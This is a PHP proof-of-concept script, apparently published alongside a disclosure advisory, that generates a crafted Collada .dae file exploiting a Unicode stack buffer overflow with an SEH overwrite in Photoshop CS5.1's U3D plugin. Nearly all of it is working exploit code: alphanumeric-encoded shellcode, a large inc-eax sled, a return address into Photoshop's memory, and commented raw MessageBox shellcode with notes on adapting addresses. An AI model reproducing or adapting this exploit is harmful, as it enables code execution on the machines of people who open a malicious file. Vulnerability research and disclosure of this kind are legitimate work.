108 lines
No EOL
4.2 KiB
PHP
108 lines
No EOL
4.2 KiB
PHP
<?php
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// ~ Adobe Photoshop CS5.1 U3D.8bi Library Collada Asset Elements
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// Unicode Conversion Stack Based Buffer Overflow poc (*.dae)
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// (32bit/SEH) ~
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//
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// unicode overflow occurs when overlong asset elements are processed
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// one could be able to return inside an ASCII memory region
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// with an ultra large nop through assigning eip to ex. Photoshop.00630041.
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// the shellcode should be alphabetic (high bytes order filtering and various issues)
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//
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// Usage: php 9sg_dae.php
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// a file photoshop_sample.dae is created
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// start Photoshop then open it through the File menu
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// a message box pops, HEY!
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//
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// ~ rgod ~ - Advisory Reference: http://retrogod.altervista.org/9sg_photoshock_adv.htm
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/*
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you shuld change addresses according to your system
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then reencode with alpha2 (use eax alignment)
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//say "Hey" MsgBox Shellcode
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$code ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2".
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"\xeb\x2a\x59".
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"\xbb\xca\x1d\xe4\x77". //LoadLibraryA(), kernel32.dll
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"\x51\xff\xd3\xeb\x2f\x59\x51\x50".
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"\xbb\x7a\x3d\xe6\x77". //GetProcAddress(), kernel32.dll
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"\xff\xd3\xeb".
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"\x34\x59\x31\xd2\x52\x51\x51\x52".
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"\xff\xd0\x31\xd2\x50".
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"\xb8\xf9\x68\xe6\x77". //ExitProcess(), kernel32.dll
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"\xff\xd0\xe8\xd1\xff\xff".
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"\xff\x75\x73\x65\x72\x33\x32\x2e".
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"\x64\x6c\x6c\x00\xe8\xcc\xff\xff".
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"\xff\x4d\x65\x73\x73\x61\x67\x65".
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"\x42\x6f\x78\x41\x00\xe8\xc7\xff".
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"\xff\xff\x48\x65\x79\x00";
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*/
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$scode = "\x2d\x7d\x25\x5b\x7f". //sub preamble, align eax for alpha code,clean
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"\x2d\x79\x22\x20\x6f". //sub, align ... the gap is repaired through the inc eax trick
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"PYIIIIIIIIIIIIIIII7QZjA".
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"XP0A0AkAAQ2AB2BB0BBABXP".
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"8ABuJIvQYPp1IKp1YYtqJrZ".
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"K4jpYmk8JuMM4PwpQKOyCZK".
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"vORycaRpMksJUmkVqgyoKcz".
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"KvTRyTqZrRr0QrqPRkOn0VQ".
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"N20PnXzY0hZFpwYojpM8N1k".
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"OIokOQebSauPrP3trDnPdrL".
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"PlUPKXxLKOKOIorm1u2SRS3".
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"QQw0esrbOd8raC0KXKwkOYo".
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"KO3xSUt9uPA";
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$eip="Ac"; //Photosho.00630041, return to our payload
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$payload = str_repeat("\x40",4096000);//inc eax, needed , also nop equivalent, don't touch
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$payload.=$scode;
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$payload.= str_repeat("\x40",1024000);
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$_xml ='<?xml version="1.0"?>'.
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'<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">'.
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' <asset>'.
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' <contributor>'.
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' <author>rgod</author>'.
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' <authoring_tool>Maya 8.0 | ColladaMaya v3.02 | FCollada v3.2</authoring_tool>'.
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' <comments>Collada Maya Export Options: bakeTransforms=0;exportPolygonMeshes=1;bakeLighting=0;isSampling=0;'.
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' curveConstrainSampling=0;exportCameraAsLookat=0;'.
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' exportLights=1;exportCameras=1;exportJointsAndSkin=1;'.
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' exportAnimations=1;exportTriangles=1;exportInvisibleNodes=0;'.
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' exportNormals=1;exportTexCoords=1;exportVertexColors=1;exportTangents=0;'.
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' exportTexTangents=0;exportConstraints=1;exportPhysics=0;exportXRefs=1;'.
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' dereferenceXRefs=0;cameraXFov=0;'.
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str_repeat("A",170).
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'cameraYFov=1;'.
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str_repeat("a",100).
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str_repeat("b",100).
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str_repeat("c",100).
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str_repeat("d",100).
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str_repeat("e",100).
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str_repeat("f",100).
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str_repeat("g",100).
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str_repeat("h",100).
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str_repeat("i",100).
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str_repeat("j",100).
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str_repeat("k",100).
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str_repeat("l",100).
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str_repeat("m",100).
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str_repeat("n",100).
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"aaaabbbA".
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$eip.
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"ccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy".
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' </comments>'.
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'<aaaa>'.
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$payload.
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'</aaaa>'.
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' <copyright>'.
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' Copyright 2012 rgod Computer Entertainment Inc.'.
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' </copyright>'.
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' <source_data>file:///C:/vs2005/sample_data/untitled</source_data>'.
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' </contributor>'.
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' <created>2008-04-24T22:29:59Z</created>'.
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' <modified>2099-02-21T22:52:44Z</modified>'.
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' <unit meter="0.01" name="centimeter"/>'.
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' <up_axis>Y_UP</up_axis>'.
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' </asset>'.
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'</COLLADA>';
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file_put_contents("photoshop_sample.dae",$_xml);
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echo "done";
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?>
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